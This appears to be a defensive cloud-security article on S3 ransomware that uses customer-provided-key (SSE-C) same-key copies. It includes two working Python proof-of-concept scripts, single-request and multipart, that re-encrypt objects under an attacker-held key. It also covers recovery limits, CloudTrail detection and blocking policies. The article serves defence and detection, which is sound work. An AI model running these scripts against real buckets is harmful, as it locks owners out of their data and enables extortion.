An attacker can use this lockout to demand a ransom for the encryption key. S3 supports server-side encryption with customer-provided keys (SSE-C): it uses the supplied key and then discards it, so AWS does not retain the key needed to unlock those copies. If the attacker holds the only copy, the victim needs an older object version or an independent backup to recover without it.

Same-key copy with SSE-C

For objects up to 5 GB, CopyObject can rewrite the data at the same key while enabling SSE-C; larger objects require CreateMultipartUpload, a series of UploadPartCopy calls, and CompleteMultipartUpload.[1][2]

flowchart LR
    A([Attacker]) --> K(Customer-provided AES-256 key)
    O[S3 object] --> C[Same-key server-side copy]
    K --> C
    C --> E[New SSE-C current object]
    E --> R([Read requires attacker-held key])
    class A,R principal
    class O,C,E awsResource
    class K credential
A same-key copy creates a new current object encrypted under key material that S3 does not retain.
Object size Copy path Distinctive API events Practical constraint
Up to 5 GB Single CopyObject CopyObject One request per object
More than 5 GB Multipart self-copy CreateMultipartUpload, UploadPartCopy, CompleteMultipartUpload Part ranges and upload state must be tracked

The caller needs s3:GetObject on the source and s3:PutObject on the destination, which are the same bucket and key in this case. If the source uses AWS Key Management Service (KMS) encryption, the caller also needs the applicable KMS decryption access. If the source already uses SSE-C, its current key is required before it can be copied.[3]

This works only when the general purpose bucket accepts new SSE-C writes. Since April 2026, S3 blocks SSE-C by default on new general purpose buckets and existing buckets in accounts with no SSE-C objects. A caller with s3:PutEncryptionConfiguration can set BlockedEncryptionTypes to NONE unless another policy denies that change. Directory buckets do not support SSE-C.[4][5]

Bulk rewrite without data transfer

Suppose a compromised data-processing role can read and overwrite objects in a large unversioned bucket. Although the role cannot delete the bucket, it can replace its contents while the organization watches only for bulk downloads.

Using that access, the attacker generates one 256-bit key, enumerates the target prefix, and issues same-key copy requests with SSE-C destination headers. Because S3 reads each source object internally and writes the encrypted replacement, monitoring sees write requests but no object content leaving over the attacker’s connection.

Applications begin receiving access errors because they do not possess the SSE-C encryption key. If no separate recovery copy exists, restoring access requires the encryption key retained by the attacker.

CopyObject for objects up to 5 GB

Run the single-request SSE-C proof of concept

Set BUCKET and OBJECT_KEY to an object in a general purpose bucket that allows SSE-C writes.

import base64
import hashlib
import os
import secrets

import boto3


bucket = os.environ["BUCKET"]
object_key = os.environ["OBJECT_KEY"]
raw_key = secrets.token_bytes(32)
encoded_key = base64.b64encode(raw_key).decode("ascii")
key_md5 = base64.b64encode(
    hashlib.md5(raw_key, usedforsecurity=False).digest()
).decode("ascii")

print(encoded_key)
boto3.client("s3").copy_object(
    Bucket=bucket,
    Key=object_key,
    CopySource={"Bucket": bucket, "Key": object_key},
    MetadataDirective="COPY",
    SSECustomerAlgorithm="AES256",
    SSECustomerKey=encoded_key,
    SSECustomerKeyMD5=key_md5,
)

The printed value is the key S3 requires for later GetObject or HeadObject requests; S3 validates it using a randomly salted HMAC rather than retaining the key itself.[6]

Multipart copy for larger objects

For larger objects, multipart copy keeps the source in S3 while copying byte ranges into a new upload at the same key. When CompleteMultipartUpload assembles those ranges, the SSE-C object becomes current. Because S3 must encrypt each copied range, the encryption headers are required when the upload is created and on every UploadPartCopy request, but not on the final completion.[6:1]

Run the multipart SSE-C proof of concept

This example uses 1 GiB parts and pins every copy request to the source entity tag (ETag), so a concurrent source change fails rather than producing a mixed object.

import base64
import hashlib
import os
import secrets

import boto3


s3 = boto3.client("s3")
bucket = os.environ["BUCKET"]
object_key = os.environ["OBJECT_KEY"]
part_size = 1024 * 1024 * 1024

raw_key = secrets.token_bytes(32)
encoded_key = base64.b64encode(raw_key).decode("ascii")
key_md5 = base64.b64encode(
    hashlib.md5(raw_key, usedforsecurity=False).digest()
).decode("ascii")

source = s3.head_object(Bucket=bucket, Key=object_key)
size = source["ContentLength"]
etag = source["ETag"]
copy_source = {"Bucket": bucket, "Key": object_key}
if source.get("VersionId"):
    copy_source["VersionId"] = source["VersionId"]

created = s3.create_multipart_upload(
    Bucket=bucket,
    Key=object_key,
    SSECustomerAlgorithm="AES256",
    SSECustomerKey=encoded_key,
    SSECustomerKeyMD5=key_md5,
)
upload_id = created["UploadId"]
parts = []

for part_number, start in enumerate(range(0, size, part_size), start=1):
    end = min(start + part_size, size) - 1
    copied = s3.upload_part_copy(
        Bucket=bucket,
        Key=object_key,
        PartNumber=part_number,
        UploadId=upload_id,
        CopySource=copy_source,
        CopySourceIfMatch=etag,
        CopySourceRange=f"bytes={start}-{end}",
        SSECustomerAlgorithm="AES256",
        SSECustomerKey=encoded_key,
        SSECustomerKeyMD5=key_md5,
    )
    parts.append(
        {"PartNumber": part_number, "ETag": copied["CopyPartResult"]["ETag"]}
    )

s3.complete_multipart_upload(
    Bucket=bucket,
    Key=object_key,
    UploadId=upload_id,
    MultipartUpload={"Parts": parts},
)
print(encoded_key)

The object changes only when CompleteMultipartUpload succeeds. Until then, the source remains current and the copied parts remain an incomplete multipart upload.

Recovery boundaries

In a never-versioned bucket, the same-key copy replaces the object in place, so recovery requires the SSE-C encryption key or a separate copy. With versioning enabled, the encrypted object becomes current while the previous version remains available by version ID. With versioning suspended, a new write replaces any existing null version but does not overwrite retained non-null versions. Inspect actual versions and retention state rather than inferring recovery from the current versioning setting alone.[7][8]

S3 Object Lock protects retained versions, not uninterrupted access to the current object. A new encrypted version or delete marker can still become current and disrupt applications, while a locked older version remains a recovery source. Current-object lockout therefore differs from irreversible loss: assess whether any usable prior version or independent backup survives, including its retention mode, expiry, and legal hold.[9]

SSE-C encrypts object data, not object metadata. Authorized bucket listings can still expose listing-visible fields such as keys, sizes, and last-modified times. This does not mean arbitrary metadata is retrievable without the key: HeadObject for an SSE-C object requires the customer-key headers.[4:1][10][11]

Finding same-key encrypted copies

For CopyObject, look for a normalized source that equals the destination and an SSEApplied value of SSE_C. For multipart copies, encryption evidence belongs at initiation. Correlate copied parts and completion using recorded upload IDs and compare part sources with the destination. Associate initiation only when available telemetry supports it: the cited initiation event sample has no upload ID, so a universal three-stage upload-ID join would miss evidence. Initiation alone is not a completed encrypted object.[12][13]

Event source Event name Detection value
s3.amazonaws.com PutBucketEncryption Records a requested encryption-configuration change; verify the resulting SSE-C blocking state.
s3.amazonaws.com CopyObject Records source, destination, and SSEApplied encryption evidence.
s3.amazonaws.com CreateMultipartUpload, UploadPartCopy, CompleteMultipartUpload Separates encryption selection, copied parts, and completion; part/completion upload IDs support correlation where recorded.
s3.amazonaws.com DeleteObject, DeleteObjects Records deletion activity; version identifiers and results distinguish permanent removal from delete markers.

Object operations require explicit CloudTrail data-event coverage; retain management events separately for bucket-configuration changes. In this illustrative fragment, the documented SSEApplied: SSE_C marker identifies customer-provided encryption, while the source and destination fields identify the affected object. Detection need not depend on optional raw encryption-header fields.[14][15][16][12:1]

{
  "eventSource": "s3.amazonaws.com",
  "eventName": "CopyObject",
  "userIdentity": {
    "arn": "<writer identity ARN>"
  },
  "requestParameters": {
    "bucketName": "<bucket>",
    "key": "<object key>",
    "x-amz-copy-source": "<same bucket>/<same object key>"
  },
  "additionalEventData": {
    "SSEApplied": "SSE_C"
  }
}

Start with a tunable 15-minute event-time review window grouped by caller, bucket, and prefix. This short initial horizon helps surface concentrated rewrite bursts without mixing a full day’s routine activity; it is not an AWS limit or an exposure cutoff. Accept late and out-of-order events, and extend the review through related multipart lifecycles, slower rewrites, or other credible activity.

Exclude recorded failures, but do not treat a missing errorCode as proof of application impact. Separate accepted requests, confirmed copy or multipart completion, resulting current-object state, and downstream access failures. An incomplete multipart upload is not a completed rewrite.

Compare activity with approved SSE-C clients and legitimate metadata-replacement tools that use same-key copies. Review the bucket, prefix, principal, encryption mode, object count, and bytes rewritten alongside deletion activity and preceding PutBucketEncryption changes. The proportion of a prefix affected can help prioritize differently sized buckets; it is not a validated alert threshold.

For deletions, inspect recorded version identifiers, operation results, and retention state before concluding that recovery versions were permanently removed. A simple delete can add a marker while earlier data survives. Account for DeleteObjects batch events and their per-object DeleteObject events so the same deletion is not counted twice.[9:1][15:1]

Blocking SSE-C lockout

  • Keep BlockedEncryptionTypes set to SSE-C on buckets that do not require customer-provided keys. This blocks new SSE-C writes; it does not decrypt or restore existing SSE-C objects.[5:1]
  • Deny s3:PutObject when s3:x-amz-server-side-encryption-customer-algorithm is present.[6:2] An applicable resource control policy (RCP) can constrain access to covered S3 resources even by member-account administrators and root. This requires an all-features AWS Organization with RCPs enabled and appropriately attached; management-account resources and service-linked roles are exempt.[17]
  • Restrict s3:PutEncryptionConfiguration to controlled deployment roles.
  • Avoid combining broad s3:GetObject and s3:PutObject permissions when a workload does not need both.
  • Enable versioning and deny untrusted principals s3:DeleteObjectVersion. Check for suspended versioning and verify which recovery versions actually remain.
  • Keep recovery copies in another account or retain versions with S3 Object Lock under separate administration. Verify usable recovery data and restored application access; stopping new writes alone does not repair current-object lockout.
  • Enable S3 write data events for sensitive buckets and alert on SSE-C self-copy sequences.

References


  1. Amazon S3 API Reference, CopyObject. ↩︎

  2. Amazon S3 User Guide, Copying an object using multipart upload. ↩︎

  3. Amazon S3 API Reference, UploadPartCopy. ↩︎

  4. Amazon S3 User Guide, Using SSE-C. ↩︎ ↩︎

  5. Amazon S3 User Guide, Blocking or unblocking SSE-C. ↩︎ ↩︎

  6. Amazon S3 User Guide, Specifying SSE-C in requests. ↩︎ ↩︎ ↩︎

  7. Amazon S3 User Guide, Using versioning in S3 buckets. ↩︎

  8. Amazon S3 User Guide, Adding objects to versioning-suspended buckets. ↩︎

  9. Amazon S3 User Guide, S3 Object Lock. ↩︎ ↩︎

  10. Amazon S3 API Reference, ListObjectsV2. ↩︎

  11. Amazon S3 API Reference, HeadObject. ↩︎

  12. AWS Storage Blog, Auditing Amazon S3 server-side encryption methods for object uploads. ↩︎ ↩︎

  13. detection.wiki, Amazon S3 CloudTrail event samples: CreateMultipartUpload, UploadPartCopy, and CompleteMultipartUpload. ↩︎

  14. detection.wiki, Amazon S3 CloudTrail event catalog, CopyObject. ↩︎

  15. Amazon S3 User Guide, Logging S3 API calls with CloudTrail. ↩︎ ↩︎

  16. Amazon S3 User Guide, Monitoring default encryption with CloudTrail and EventBridge. ↩︎

  17. AWS Organizations User Guide, Resource control policies. ↩︎